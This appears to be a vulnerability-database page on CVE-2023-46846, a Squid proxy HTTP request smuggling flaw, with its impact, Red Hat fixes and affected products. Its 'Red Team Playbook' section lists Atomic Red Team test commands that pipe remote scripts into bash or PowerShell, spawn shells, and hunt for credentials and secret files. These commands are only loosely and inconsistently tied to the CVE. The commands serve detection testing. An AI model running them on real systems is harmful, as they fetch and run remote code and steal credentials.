CVE-2023-46846
Overview
This vulnerability is an HTTP request smuggling flaw resulting from lenient parsing in the chunked transfer encoding decoder within the SQUID proxy server. The root cause lies in the improper handling of chunked HTTP requests, allowing desynchronization between frontend security components and backend servers. The affected component is the HTTP chunked decoder logic in SQUID, which misinterprets the boundaries of HTTP requests when processing chunked payloads.
Vulnerability Description
SQUID is vulnerable to HTTP request smuggling, caused by chunked decoder lenience, allows a remote attacker to perform Request/Response smuggling past firewall and frontend security systems.
Impact
An unauthenticated remote attacker can exploit this vulnerability to smuggle HTTP requests and responses past firewall and frontend security systems, potentially allowing interception or manipulation of traffic. This can lead to unauthorized access to backend services, bypassing security controls without user interaction. The vulnerability has a high impact on confidentiality and partial impact on integrity, with no impact on availability, as reflected in the CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N.
Solution
Red Hat has issued multiple advisories (RHSA-2023:6266, RHSA-2023:6267, RHSA-2023:6268, RHSA-2023:6748, RHSA-2023:6801) providing patched versions of SQUID and related packages for affected Red Hat Enterprise Linux versions 8.0, 9.0, 8.6, and 8.8. Users should apply these updates promptly to mitigate the vulnerability. Detailed patch instructions and updates are available at Red Hat's official errata pages and the squid-cache GitHub security advisory GHSA-j83v-w3p4-5cqh.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (19)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Squid-Cache | Squid | All |
cpe:2.3:a:squid-cache:squid:*:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux | 8.0 |
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux | 9.0 |
cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Eus | 8.6 |
cpe:2.3:o:redhat:enterprise_linux_eus:8.6:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Eus | 8.8 |
cpe:2.3:o:redhat:enterprise_linux_eus:8.8:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Eus | 9.0 |
cpe:2.3:o:redhat:enterprise_linux_eus:9.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Eus | 9.2 |
cpe:2.3:o:redhat:enterprise_linux_eus:9.2:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux For Arm 64 | 8.0_aarch64 |
cpe:2.3:o:redhat:enterprise_linux_for_arm_64:8.0_aarch64:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux For Ibm Z Systems | 8.0_s390x |
cpe:2.3:o:redhat:enterprise_linux_for_ibm_z_systems:8.0_s390x:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux For Power Little Endian | 8.0_ppc64le |
cpe:2.3:o:redhat:enterprise_linux_for_power_little_endian:8.0_ppc64le:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Aus | 8.2 |
cpe:2.3:o:redhat:enterprise_linux_server_aus:8.2:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Aus | 8.4 |
cpe:2.3:o:redhat:enterprise_linux_server_aus:8.4:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Aus | 8.6 |
cpe:2.3:o:redhat:enterprise_linux_server_aus:8.6:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Aus | 9.2 |
cpe:2.3:o:redhat:enterprise_linux_server_aus:9.2:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Tus | 8.2 |
cpe:2.3:o:redhat:enterprise_linux_server_tus:8.2:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Tus | 8.4 |
cpe:2.3:o:redhat:enterprise_linux_server_tus:8.4:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Tus | 8.6 |
cpe:2.3:o:redhat:enterprise_linux_server_tus:8.6:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Tus | 8.8 |
cpe:2.3:o:redhat:enterprise_linux_server_tus:8.8:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Server Tus | 9.2 |
cpe:2.3:o:redhat:enterprise_linux_server_tus:9.2:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-273 | HTTP Response Smuggling |
32%
|
Medium | High | |
| CAPEC-33 | HTTP Request Smuggling |
32%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (17)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-46846 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6266 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6267 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6268 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6748 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6801 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6803 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6804 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:6810 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2023:7213 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:11049 |
| access.redhat.com |
GitHub CVE
vdb-entry
x_refsource_REDHAT
|
https://access.redhat.com/security/cve/CVE-2023-46846 |
| bugzilla.redhat.com |
GitHub CVE
issue-tracking
x_refsource_REDHAT
|
https://bugzilla.redhat.com/show_bug.cgi?id=2245910 |
| github.com |
GitHub CVE
|
https://github.com/squid-cache/squid/security/advisories/GHSA-j83v-w3p4-5cqh |
| lists.debian.org |
NVD API
|
https://lists.debian.org/debian-lts-announce/2024/01/msg00003.html |
| lists.debian.org |
NVD API
|
https://lists.debian.org/debian-lts-announce/2024/01/msg00008.html |
| security.netapp.com |
NVD API
|
https://security.netapp.com/advisory/ntap-20231130-0002/ |